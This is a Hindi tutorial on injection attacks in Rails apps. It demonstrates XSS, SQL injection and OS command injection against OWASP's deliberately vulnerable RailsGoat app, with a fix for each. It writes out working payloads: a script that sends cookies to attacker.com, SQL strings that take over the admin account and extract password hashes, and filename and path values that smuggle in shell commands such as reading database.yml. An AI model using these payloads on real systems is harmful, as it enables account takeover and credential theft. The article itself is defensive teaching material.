अपने रेल्स ऐप्स को सुरक्षित करें: इंजेक्शन अटैक्स को समझना और रोकना

यदि आप यूजर डेटा से डील करते हैं, तो आपको यह सुनिश्चित करना होगा कि वह सुरक्षित है। हालांकि, यदि आप सुरक्षा में नए हैं, तो यह ट्रिकी, बोरिंग और जटिल लग सकता है।

यह लेख उस श्रृंखला का पहला भाग है जो आपको सामान्य प्रकार की सुरक्षा कमजोरियों और रेल्स डेवलपमेंट पर उनके प्रभाव के बारे में सिखाएगा। हम OWASP टॉप 10 वेब एप्लिकेशन सिक्योरिटी रिस्क को इस क्षेत्र में अपने मैप के रूप में उपयोग करेंगे।

OWASP का अर्थ है ओपन वेब एप्लिकेशन सिक्योरिटी प्रोजेक्ट। यह विशेषज्ञों का एक समूह है जो वेब पर महत्वपूर्ण सुरक्षा मुद्दों के बारे में दुनिया को शिक्षित करने का काम करता है। उनकी टॉप 10 सूची वेब एप्लिकेशंस में सबसे आम कमजोरियों को सूचीबद्ध करती है:

1. इंजेक्शन
2. ब्रोकन ऑथेंटिकेशन
3. सेंसिटिव डेटा एक्सपोजर
4. XML एक्सटर्नल एंटिटीज (XXE)
5. ब्रोकन एक्सेस कंट्रोल
6. सिक्योरिटी मिसकॉन्फिगरेशंस
7. क्रॉस-साइट स्क्रिप्टिंग (XSS)
8. इनसिक्योर डिसीरियलाइज़ेशन
9. ज्ञात कमजोरियों वाले कंपोनेंट्स का उपयोग
10. अपर्याप्त लॉगिंग और मॉनिटरिंग

हालांकि वे नियमित रूप से सूची को अपडेट करते हैं, यह आपकी अपेक्षा से कम बदलती है। नई टेक्नोलॉजीज पुरानी समस्याओं को विरासत में लेती हैं। इस लेख में, विशेष रूप से, हम इंजेक्शन से संबंधित तीन विषयों को कवर करेंगे:

• जावास्क्रिप्ट इंजेक्शन - जब एप्लिकेशंस अपने क्लाइंट्स से दुर्भावनापूर्ण डेटा स्वीकार करते हैं, डेटा को वैलिडेट/सैनिटाइज नहीं करते हैं, और इसे ब्राउज़र पर वापस भेजते हैं।
• SQL इंजेक्शन - जब SQL के टुकड़ों को जानबूझकर डेटाबेस क्वेरी के हिस्से के रूप में एक असुरक्षित SQL इंटरप्रेटर को भेजा जाता है, जिससे इंटरप्रेटर खतरनाक कमांड चलाने या संवेदनशील जानकारी तक पहुंचने के लिए धोखा खाता है।
• OS इंजेक्शन - जब अटैकर्स उन अनप्रोटेक्टेड एप्लिकेशंस पर सिस्टम कमांड चलाने का लक्ष्य रखते हैं जो सिस्टम कमांड से डेटा इनपुट करते हैं।

हम थ्योरी से प्रैक्टिस की ओर जाएंगे ताकि यह पूरी तरह से प्रदर्शित हो सके कि उनमें से प्रत्येक कैसे काम करता है। तो, आइए गोता लगाएं!

इंजेक्शन खतरे

यदि आप अपने एप्लिकेशन में डेटा के स्रोत को मैनेज करते हैं, तो आपके पास इसके भीतर एक संभावित इंजेक्शन वेक्टर है। जब आपके ऐप्स को हैक करने के रचनात्मक और नवीन तरीकों की बात आती है, तो हैकर्स नई चीजें आविष्कार करना जारी रखते हैं जो आपको आश्चर्यचकित कर देंगी।

आइए इंजेक्शन अटैक्स की दुनिया से शुरू करें। यदि आपको लगता है कि आपका ऐप सैनिटाइज्ड और प्रोटेक्टेड है, तो फिर से सोचें।

जावास्क्रिप्ट इंजेक्शन

जावास्क्रिप्ट इंजेक्शन, जिसे आमतौर पर क्रॉस-साइट स्क्रिप्टिंग (XSS) के रूप में जाना जाता है, बैकएंड एप्लिकेशन (जिस पर क्लाइंट भरोसा करता है) को दुर्भावनापूर्ण डेटा और/या स्क्रिप्ट वापस ब्राउज़र पर भेजने के लिए धोखा देने के बारे में है।

जब ऐसा होता है, तो अटैकर्स यूजर के ब्राउज़र में स्क्रिप्ट चला सकते हैं ताकि उसका सेशन चुरा सकें, एप्लिकेशन के "नाम पर" संवेदनशील जानकारी मांग सकें, या यूजर्स को खतरनाक वेबसाइट्स पर रीडायरेक्ट कर सकें।

प्रसिद्ध ब्लॉग कमेंट सेक्शन को उदाहरण के रूप में लें। कल्पना करें कि आपका एप्लिकेशन पूरी तरह से असुरक्षित है और आपके ब्लॉग पर एक नए कमेंट के लिए POST प्राप्त करता है, और मान बिना किसी सैनिटाइजेशन के सीधे डेटाबेस में चला जाता है:

POST https://myblog.com/comments data: <script>window.location='https://attacker.com?cookie='+document.cookie</script> 

जब आपकी वेबसाइट कमेंट सेक्शन को रीलोड करती है, तो यह नया कमेंट लाएगी, जो ब्राउज़र पर दी गई स्क्रिप्ट को निष्पादित करेगा।

स्क्रिप्ट, जो एप्लिकेशन पेज के भीतर चलती है (पूरी तरह से स्वीकार्य), यूजर की कुकी जानकारी प्राप्त करती है और इसे सीधे अटैकर की साइट पर भेज देती है।

SQL इंजेक्शन

SQL इंजेक्शन तब होता है जब एक एप्लिकेशन जो SQL डेटाबेस से डील करता है, यूजर के इनपुट को सुरक्षित रूप से सैनिटाइज नहीं करता है जब भी यह इनपुट आपकी किसी भी क्वेरी के साथ कनकैटनेटेड (या इंटरपोलेटेड) होता है।

रेल्स की दुनिया में SQL इंजेक्शन से जुड़े दो मुख्य खतरे हैं जिनके बारे में आप जानते होंगे: इंजेक्शन कनकैटनेशन और इंटरपोलेशन। आइए अंतर देखें।

SQL इंजेक्शन कनकैटनेशन सबसे प्रसिद्ध है; यह तब होता है जब अटैकर HTTP क्वेरी पैरामीटर्स या रिक्वेस्ट बॉडी के हिस्से के रूप में खतरनाक SQL के टुकड़े भेजता है। यह एक ट्रिक है जो अधिकांश डेटाबेस के साथ काम करती है यदि आपकी एप्लिकेशन लेयर्स इस प्रकार के कंटेंट की पहचान करने और इसे सैनिटाइज करने में असमर्थ हैं।

एक उदाहरण के रूप में, कल्पना करें कि आप संवेदनशील जानकारी प्राप्त करने के लिए किसी यूजर को उसके यूजरनेम से क्वेरी कर रहे हैं:

User.where("name = '#{userName}'") 

यह मानते हुए कि userName नॉन-सैनिटाइज्ड यूजर इनपुट है, एक अटैकर पैरामीटर के मान को बदल सकता है

' OR '1'='1' -- 

नतीजतन, आपकी क्वेरी इसमें बदल जाएगी:

SELECT * FROM users WHERE username = '' OR '1'='1'; 

चूंकि नवीनतम जोड़ी गई शर्त हमेशा true के बराबर होती है, यह क्वेरी हमेशा निष्पादित होगी, जिससे आपके यूजर्स के सैकड़ों संवेदनशील डेटा उजागर होंगे।

SQL इंटरपोलेशन से इंजेक्शन हो सकता है। कैसे? क्या आप रेल्स के एक्टिवरिकॉर्ड के स्कोपिंग फीचर को याद करते हैं? यह हमें उन क्वेरीज को निर्दिष्ट करने की अनुमति देता है जिनका आप बहुत उपयोग करते हैं ताकि उन्हें एसोसिएशन ऑब्जेक्ट्स या मॉडल्स पर मेथड कॉल्स (जैसे where, joins, और includes) के रूप में रेफरेंस किया जा सके। यह उदाहरण लें:

class User < ApplicationRecord scope :filtered_name, -> { where(name: interpolated_string) } end 

आप बाकी का अनुमान लगा सकते हैं। यदि एक where क्लॉज है ताकि एक डेवलपर नॉन-सैनिटाइज्ड इनपुट वैल्यूज को कनकैटनेट कर सके, तो यह ठीक उसी SQL इंजेक्शन की ओर ले जाएगा जो पिछले उदाहरण में था।

OS इंजेक्शन

OS इंजेक्शन तब होता है जब एक एप्लिकेशन यूजर्स को सिस्टम-लेवल कमांड इनपुट करने की अनुमति देता है और उन्हें फ़िल्टर नहीं करता है।

परिणाम बहुत खतरनाक हो सकते हैं क्योंकि अटैकर के पास उस OS तक एक फ्री टनल होगी जिसमें एप्लिकेशन चल रहा है। इस पर निर्भर करता है कि OS बेस सिक्योरिटी लेयर्स कैसे सेट हैं, यह वहां चल रहे अन्य एप्लिकेशंस के डेटा और फाइलों को भी उजागर कर सकता है।

जब भी आप रेल्स कोडबेस में निम्नलिखित कोड लाइनों में से एक देखते हैं, तो ध्यान रखें कि वहां OS इंजेक्शन हो सकता है:

%x[...] system() exec() `my command` // बैकटिक्स 

निम्नलिखित रेल्स इम्प्लीमेंटेशन पर विचार करें:

new_path = "/root/public/images/#{some_path}" system("ls #{new_path}") 

यह देखते हुए कि some_path क्लाइंट से आ रहा है, एक अटैकर मान को निम्नानुसार भेज सकता है:

some_path = 'some/path; cat ./config/database.yml' 

आप समझ गए, है ना? डेटाबेस का सारा डेटा, क्रेडेंशियल्स सहित (यदि वे सुरक्षित रूप से कॉन्फिग क्लाउड में स्टोर नहीं हैं), अटैकर के सामने उजागर हो जाएंगे।

RailsGoat प्रोजेक्ट

कुछ समय बचाने और स्क्रैच से असुरक्षित उदाहरणों का एक गुच्छा विकसित करने से बचने के लिए, सौभाग्य से, हमारे पास RailsGoat प्रोजेक्ट है। यह आधिकारिक OWASP GitHub रिपॉजिटरी द्वारा प्रदान की गई असंख्य ओपन-सोर्स प्रोजेक्ट्स (754 प्रोजेक्ट्स) में से एक है, जिसे रेल्स के लिए बनाया गया है जिसमें टॉप 10 कमजोरियों में से अधिकांश को जानबूझकर प्रोग्राम किया गया है ताकि डेवलपर्स को सुरक्षा खतरों पर शिक्षित किया जा सके।

इस श्रृंखला में, हम जोखिमों का थोड़ा गहराई से पता लगाने के लिए प्रोजेक्ट सैंपल्स का उपयोग करेंगे और, और भी बेहतर, एक्शन में!

सेटअप

इससे पहले कि आप आगे बढ़ें, इस प्रोजेक्ट की कुछ आवश्यक निर्भरताएं हैं: रूबी, Git, MySQL, और Postgres। आगे बढ़ने से पहले उन सभी को अपनी मशीन पर इंस्टॉल करना सुनिश्चित करें।

प्रोजेक्ट को सेट अप करने के लिए, पहले इसे स्थानीय रूप से क्लोन करें:

git clone https://github.com/OWASP/railsgoat.git 

यह डिफ़ॉल्ट रूप से रूबी 2.6.5 पर टार्गेटेड है, इसलिए यदि आपके पास अभी तक नहीं है तो उचित वर्जन इंस्टॉल करना सुनिश्चित करें:

rvm install "ruby-2.6.5" 

अगला, ऐप रूट फोल्डर में निम्नलिखित कमांड जारी करें:

bundle install rails db:setup rails s 

वे क्रमशः रेल्स प्रोजेक्ट निर्भरताओं को डाउनलोड और इंस्टॉल करेंगे, डेटाबेस सेट अप करेंगे, और रेल्स सर्वर शुरू करेंगे।

कुछ समायोजन

आपके OS के आधार पर, और क्योंकि RailsGoat थोड़ा पुराना है (नवीनतम रिलीज मार्च 2018 में थी), install कमांड कुछ एरर जनरेट कर सकती है। यदि आप Mac पर हैं, उदाहरण के लिए, और अपने कंसोल पर निम्नलिखित एरर का सामना करते हैं:

libv8 के बारे में कंसोल एरर

तो, बस आवश्यक जेम इंस्टॉल करें:

gem install libv8 -v '3.16.14.19' -- --with-system-v8 

एक और जिसके लिए यह शायद दोष देगा वह है therubyracer जेम, रूबी के libv8 के इस वर्जन से जुड़े एक बग के कारण। निम्नलिखित कमांड चलाना सुनिश्चित करें:

brew install v8-315 gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15 

डिफ़ॉल्ट रूप से, वर्तमान सेटिंग्स SQLite को डिफ़ॉल्ट डेटाबेस मानेंगी। हालांकि, अगले उदाहरणों के लिए, हमें एक वास्तविक डेटाबेस की आवश्यकता होगी। हम MySQL का उपयोग करेंगे।

सबसे पहले, config/database.yml फाइल खोलें, mysql नोड का पता लगाएं, और अपने MySQL क्रेडेंशियल्स के अनुसार कॉन्फिग्स बदलें। आप डेटाबेस नाम को वैसे ही छोड़ सकते हैं।

रेल्स सर्वर बंद करें, और सुनिश्चित करें कि MySQL चालू है और चल रहा है; फिर, निम्नलिखित कमांड चलाएं:

# MySQL डेटाबेस बनाएं RAILS_ENV=mysql rails db:create # डेटाबेस के खिलाफ माइग्रेशन चलाएं RAILS_ENV=mysql rails db:migrate # डेटाबेस को प्रारंभिक रिकॉर्ड्स के साथ सीड करें RAILS_ENV=mysql rails db:seed # MySQL का उपयोग करके रेल्स बूट करें RAILS_ENV=mysql rails s 

वैकल्पिक रूप से, आप Docker के माध्यम से RailsGoat शुरू कर सकते हैं। यह आप पर निर्भर है!

बस! अब, आप ब्राउज़र खोल सकते हैं और RailsGoat ऐप में लॉग इन कर सकते हैं। आप टॉपबार के बटन "ट्यूटोरियल क्रेडेंशियल्स" पर ऑटो-जेनरेटेड क्रेडेंशियल्स पा सकते हैं। एक चुनें, लेकिन सुनिश्चित करें कि यह एडमिन यूजर नहीं है।

MetaCorp रेल्स एप्लिकेशन

HTTP प्रॉक्सी सेटअप

हैकर्स सामान में सूंघकर काम करते हैं, मुख्य रूप से HTTP रिक्वेस्ट्स और रिस्पॉन्स। वे HTTP प्रॉक्सी एप्लिकेशंस का उपयोग करते हैं जो ब्राउज़र और सर्वर के बीच रिक्वेस्ट्स और रिस्पॉन्स को इंटरसेप्ट, विजुअलाइज़ और मॉडिफाई करके चलते हैं।

इस श्रृंखला के लिए, हमें इनमें से एक की भी आवश्यकता होगी, और इस काम के लिए सही टूल Burp है। यह एक एंटरप्राइज पेड-टूल है, लेकिन फ्री कम्युनिटी वर्जन हमारे उद्देश्यों के लिए पर्याप्त से अधिक है। तो, आगे बढ़ें, आधिकारिक निर्देशों का पालन करके इसे डाउनलोड और इंस्टॉल करें।

याद रखें कि Burp जावा के साथ बना है, इसलिए आपको जावा भी इंस्टॉल करना होगा।

इसे सही ढंग से काम करने के लिए इन निर्देशों का पालन करना सुनिश्चित करें। एक बार टूल खुलने पर, Proxy > Intercept टैब पर जाएं, बटन "Intercept is on" को टॉगल करें और फिर "Open Browser"। यह एक Google Chromium खोलेगा जो सीधे Burp से जुड़ा होगा और हमें रिक्वेस्ट्स/रिस्पॉन्स को सूंघने की अनुमति देगा।

वहां कुछ टाइप करें और देखें कि Burp चीजों को कैसे ट्रैक करता है।

एक्शन में खतरे

आइए अब देखें कि हमने पहले जिन खतरों पर चर्चा की थी, उनमें से प्रत्येक रियल-वर्ल्ड परिदृश्यों में कैसे होता है। हम जावास्क्रिप्ट इंजेक्शन से शुरू करेंगे।

एक्शन में जावास्क्रिप्ट इंजेक्शन

RailsGoat ऐप में, views/layouts/shared फोल्डर में स्थित _header.html.erb फाइल खोलें। आपको निम्नलिखित HTML स्निपेट मिल सकता है:

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li> 

खैर, यह पता चला है कि यह रेल्स मेथड एक सुरक्षित नाम के लिए कॉल करता है, जो नहीं है। यह बताता है कि स्ट्रिंग को सुरक्षित माना जाता है लेकिन यूजर इनपुट को सैनिटाइज नहीं करता है।

सुनिश्चित करें कि Burp नहीं चल रहा है, और फिर रजिस्ट्रेशन पेज पर जाएं और "First Name" फील्ड में निम्नलिखित टाइप करें:

<script>alert("hello, XSS!")</script> 

रजिस्ट्रेशन पूरा करें और नए बनाए गए यूजर के साथ लॉग इन करें। आप नेविगेशन बार को "Welcome " + स्क्रिप्ट कोड प्रदर्शित करते हुए देख सकते हैं।

इसे कैसे हल करें

यह एक आम गलतफहमी है। डेवलपर्स आमतौर पर इस मेथड का उपयोग करते हैं, लेकिन यह डेटा को सुरक्षित नहीं करता है। इसके बजाय, जब भी आपको HTML को स्पष्ट रूप से रेंडर करने की आवश्यकता हो, तो आपको sanitize का उपयोग करना होगा।

उदाहरण में, बस .html_safe हटा दें, और अटैक समाप्त हो जाएगा।

एक अच्छा सुझाव होगा कि आप अपने प्रोजेक्ट्स में SonarQube जैसे टूल्स को शामिल करें। ये टूल्स ऊपर वाले जैसे सामान्य खतरों की पहचान करते हैं और डेवलपर्स को खतरों और उन्हें ठीक करने के तरीके के बारे में अलर्ट करते हैं।

केवल डेवलपर की याददाश्त पर भरोसा करना अच्छा विचार नहीं है।

SQL इंजेक्शन: एक कनकैटनेशन उदाहरण

हमारा RailsGoat SQL इंजेक्शन उदाहरण users_controller.rb के भीतर रहता है, app/controllers फोल्डर के अंदर। इसे खोलें और इसकी सामग्री की समीक्षा करें।

आप डेटाबेस के भीतर यूजर डेटा बनाने और अपडेट करने के लिए दो मुख्य मेथड्स देख सकते हैं। क्या आप हमारे update मेथड में कुछ गलत पहचान सकते हैं? जाओ, इसे आजमाओ!

यह रहा:

user = User.where("id = '#{params[:user][:id]}'")[0] 

आप जानते हैं कि where क्लॉज में सामान को कनकैटनेट करना सही नहीं है। लेकिन, आइए इसे ठीक करने से पहले हैकिंग की संभावनाओं का परीक्षण करें।

Burp Chromium ब्राउज़र पर चल रहे ऐप पर वापस जाएं और Account Settings मेनू पर नेविगेट करें:

अकाउंट सेटिंग्स तक पहुंचना

एक बार वहां, Burp टूल खोलें और सुनिश्चित करें कि बटन "Intercept is on" टॉगल किया गया है। फिर, पासवर्ड फील्ड्स को कुछ मानों से भरें और Submit पर क्लिक करें।

Burp रिक्वेस्ट को इंटरसेप्ट करेगा, और Params टैब के भीतर, आप नीचे दिखाए गए के समान कुछ देख सकते हैं।

Burp Suite टूल - Params टैब

हां, आपके सभी रिक्वेस्ट पैरामीटर्स यहां विजिबल हैं। वे न केवल विजिबल हैं बल्कि एडिटेबल भी हैं। Burp आपके रिक्वेस्ट को तब तक रोक कर रखेगा जब तक आप एडिट खत्म नहीं कर लेते और फिर इसे सर्वर पर रिलीज नहीं कर देते।

आप अपने रिस्पॉन्स के लिए भी ऐसा ही कर सकते हैं।

बहुत बढ़िया, तो, आइए एप्लिकेशन को धोखा दें। हमारा लक्ष्य वर्तमान लॉग-इन यूजर के बजाय एडमिन यूजर का पासवर्ड अपडेट करना है।

सबसे पहले, आपको यूजर के email, first_name, और last_name पैरामीटर्स को हटाने की आवश्यकता है क्योंकि हम एडमिन यूजर के लिए इन मानों को बदलने का लक्ष्य नहीं रखते हैं।

दूसरा, आप user[id] पैरामीटर मान को निम्नलिखित में एडिट कर सकते हैं:

0') OR admin = true -- ' 

यहां क्या हो रहा है? उपरोक्त प्रदर्शित मान 6 वर्तमान लॉग्ड यूजर आईडी को संदर्भित करता है। हालांकि, हम इस यूजर से संबंधित कुछ भी बदलना नहीं चाहते, केवल एडमिन। शून्य किसी से संबंधित नहीं है, जो अच्छा है क्योंकि OR के बाद की शर्त वही है जो हमारे लिए मायने रखती है।

यह मानते हुए कि हम एडमिन की आईडी नहीं जानते (ठीक है, यदि आप जानते हैं, तो यह कुछ समय बचाएगा), हमें डेटाबेस को admin रोल कॉलम के माध्यम से इसे चुनने के लिए धोखा देना होगा।

एक बार एडिटिंग समाप्त करने के बाद, Forward बटन पर क्लिक करें ताकि रिक्वेस्ट रिलीज हो जाए, और एडमिन का पासवर्ड अपडेट हो जाए।

यह वह SQL है जो रेल्स जनरेट करेगा:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '') 

अब, आगे बढ़ें और अपने नए पासवर्ड के साथ एडमिन अकाउंट में लॉग इन करें।

इसे कैसे हल करें

इसे हल करने के कुछ सुरक्षित तरीके हैं। आप क्लाइंट रिक्वेस्ट्स से आने वाली चीज़ों की परवाह किए बिना, अपडेट होने से पहले यूजर को हमेशा डेटाबेस से पुनः प्राप्त कर सकते हैं।

हालांकि, यह डेवलपर की कोडिंग स्टाइल पर निर्भर करता है, जिसकी हमेशा गारंटी नहीं होती।

तो, पैरामीटराइज्ड डेटाबेस क्वेरीज बचाव के लिए! आइए देखें:

user = User.where("id = ?", params[:user][:id])[0] 

यह उतना ही सरल है! कोई और हैकिंग नहीं।

SQL इंजेक्शन: एक इंटरपोलेशन उदाहरण

RailsGoat में, प्रत्येक रिक्वेस्ट को ऑडिटिंग फीचर के रूप में डेटाबेस में स्टोर किया जाता है। इस उदाहरण के लिए, आइए analytics.rb क्लास का विश्लेषण करें, जो hits_by_ip नामक एक स्कोप स्टोर करता है। यह एक एडमिन फीचर है जो डेटाबेस से रिक्वेस्ट डेटा सूचीबद्ध करता है।

एक नज़र डालें कि यह मॉडल अपने स्कोप के भीतर स्ट्रिंग्स को कैसे इंटरपोलेट करता है:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") } 

हालांकि, यह दृष्टिकोण खतरनाक है! आइए देखें क्यों। चूंकि आप एक सामान्य यूजर के रूप में लॉग इन हैं, कुछ मेनू दिखाई नहीं देंगे, लेकिन इसका मतलब यह नहीं है कि उनके एंडपॉइंट्स उपलब्ध नहीं हैं। तो, आगे बढ़ें और https://localhost:3000/admin/1/analytics एड्रेस तक पहुंचें।

चूंकि हम लोकलहोस्ट लेवल पर काम कर रहे हैं, आपको केवल 127.0.0.1 IP के तहत डेटा मिलेगा। हालांकि, प्रोडक्शन में, आप अपने क्लाइंट IP की खोज करेंगे।

तो, "Search by IP" टेक्स्टबॉक्स में 127.0.0.1 टाइप करें और एंटर दबाएं। अपने Burp टूल पर इंटरसेप्ट बटन चालू करना न भूलें।

एक बार जब आप Params टैब पर हों, तो आप एक नया पैरामीटर URL टाइप का जोड़ने के लिए Add बटन पर क्लिक कर सकते हैं और इसे निम्नलिखित नाम दे सकते हैं:

field[(select+group_concat(password)+from+users+where+admin=true)] 

चूंकि स्कोप एक इंटरपोलेटेड स्ट्रिंग प्राप्त करता है, आप सेलेक्ट क्वेरी में उतने नियम जोड़ सकते हैं जितने आप चाहते हैं। यह क्वेरी, विशेष रूप से, इसमें बदल जाएगी:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC; 

इसका मतलब है कि हम डेटाबेस से एडमिन के हैश्ड पासवर्ड को पुनः प्राप्त कर रहे हैं और इसे सीधे हमारे व्यू में प्रदर्शित कर रहे हैं:

एडमिन के हैश्ड पासवर्ड के लिए क्वेरी करना

इसे कैसे हल करें?

सबसे पहले, सुनिश्चित करें कि आपके यूजर्स की केवल वही एक्सेस होगी जो उनके पास होनी चाहिए। ऐसे एंडपॉइंट्स को एक्सेसिबल या अनप्रोटेक्टेड नहीं होना चाहिए।

एक अन्य निवारक दृष्टिकोण के रूप में, आप उन मानों को व्हाइटलिस्ट कर सकते हैं जिन्हें स्वीकार किया जाना चाहिए और उनको प्रतिबंधित कर सकते हैं जिन्हें नहीं। उसी मॉडल क्लास के भीतर parse_field मेथड पर एक नज़र डालें। यह वेरिफाई करता है कि दिया गया फील्ड व्हाइटलिस्ट सरणी के भीतर शामिल है या नहीं।

तो, मॉडल के स्कोप को कॉल करने से पहले, आप पैरामीटर्स पर पुनरावृति कर सकते हैं और जांच सकते हैं कि वे जाने के लिए ठीक हैं या नहीं। आइए admin_controller.rb की लाइन 18 को अपडेट करके इसे करें (जो स्कोप को कॉल करता है):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",") 

एक्शन में OS इंजेक्शन

आइए RailsGoat के भीतर OS इंजेक्शन के एक उदाहरण का पता लगाएं। app/models फोल्डर के तहत benefits.rb मॉडल खोलें और इसके make_backup मेथड को देखें।

यह मेथड एप्लिकेशन के "Benefit Forms" सेक्शन के माध्यम से अपलोड की जा रही फ़ाइल की एक बैकअप कॉपी बनाता है। यहां कोई समस्या नहीं लगती, सिवाय इसके कि मेथड system कमांड का उपयोग करता है:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") } 

यह पहली नजर में सही लगता है, लेकिन फिर से देखें। हम यूजर इनपुट से अन्य सिस्टम कमांड को पूरी तरह से जोड़ सकते हैं, और वे ठीक चलेंगे, जैसे फ़ाइल का निर्माण।

रुको, यह एक फ़ाइल अपलोड फीचर है; हम फ़ाइल के इनपुट को कैसे अपडेट कर सकते हैं? आइए इसे एक्शन में देखें।

RailsGoat ऐप पर वापस जाएं, "Benefit Forms" मेनू पर क्लिक करें, अपनी पसंद की एक फ़ाइल चुनें, और अपना Burp इंटरसेप्ट बटन चालू करें। फिर, Start Upload पर क्लिक करें।

जब रिक्वेस्ट इंटरसेप्ट हो जाती है, तो आप नीचे दिखाए अनुसार इसके हेडर कंटेंट को देख पाएंगे।

फ़ाइल अपलोड इंटरसेप्टेड

छवि में, आप दो हाइलाइटेड पैरामीटर्स देख सकते हैं: benefits[backup] और benefits[upload]।

हमें पहले वाले का मान true में बदलने की आवश्यकता है क्योंकि हम उस फ्लो को सक्रिय करना चाहते हैं जो फ़ाइल का बैकअप बनाता है और इसलिए, जहां भेद्यता मौजूद है।

अगला, अपने दूसरे पैरामीटर के filename प्रॉपर्टी को निम्नलिखित में बदलें:

filename="kid-2.png;+touch+abc.txt" 

फिर, इंटरसेप्ट बटन रिलीज करें। यह एक्जीक्यूशन के अंत में एक नए कमांड में अनुवादित होगा, जो abc.txt नामक एक नई फ़ाइल बनाता है। सरल होने के अलावा, यह एक अच्छा उदाहरण है कि आपका फ्लो कितना कमजोर हो सकता है और क्या यह हैकर्स के लिए एक आदर्श खेल का मैदान है।

OS इंजेक्शन से बचाव

यह थोड़ा स्पष्ट लग सकता है; कोई कमांड सिस्टम के माध्यम से फ़ाइल क्यों कॉपी कर रहा है? आप वहां चल रहे लिगेसी एप्लिकेशंस की संख्या से चौंक जाएंगे। उनमें से बहुत सारे विशाल कोडबेस से बने हैं, जो इस तरह की कमजोरियों का पता लगाने के काम को एक हेरक्यूलियन कार्य में बदल सकते हैं।

तो, हां, बस आधिकारिक आंतरिक लाइब्रेरीज का उपयोग करें, जैसे रूबी का FileUtils:

FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}" 

समेटना

आज, हम इंजेक्शन सुरक्षा खतरों के अशांत पानी के माध्यम से नेविगेट किए। हालांकि यह लेख इंजेक्शन मुद्दों से जुड़ी सभी संबंधित समस्याओं को कवर नहीं करता है, यह OWASP द्वारा पहचाने गए सबसे प्रसिद्ध लोगों का पता लगाता है।

बोनस के रूप में, मैं कुछ महत्वपूर्ण लिंक प्रदान करूंगा जो विषय के आपके ज्ञान को बेहतर बनाने में मदद करेंगे। पहला, निश्चित रूप से, OWASP टॉप टेन लेख है; इसमें अन्य लेखों के बहुत सारे बाहरी लिंक हैं जिनमें उदाहरण और विभिन्न परिदृश्य शामिल हैं।

रेल्स SQL इंजेक्शन कम्युनिटी के कुछ सदस्यों द्वारा क्यूरेटेड संकलित दस्तावेज है जो व्यावहारिक उदाहरणों के माध्यम से सामान्य SQL इंजेक्शन को संबोधित करता है। यह अब तक जो हमने कवर किया है, उसके बाद अवश्य पढ़ें।

अंतिम लेकिन कम नहीं, आधिकारिक सिक्योरिटी रेल्स डॉक्स उपलब्ध हैं। वे रेल्स एप्लिकेशंस के भीतर सुरक्षा के संबंध में सब कुछ कवर करते हैं, जिसमें इंजेक्शन भी शामिल हैं। तो, इसे अच्छी तरह से पढ़ना सुनिश्चित करें। अपने अध्ययन जारी रखें, और हम अगले पड़ाव पर मिलेंगे!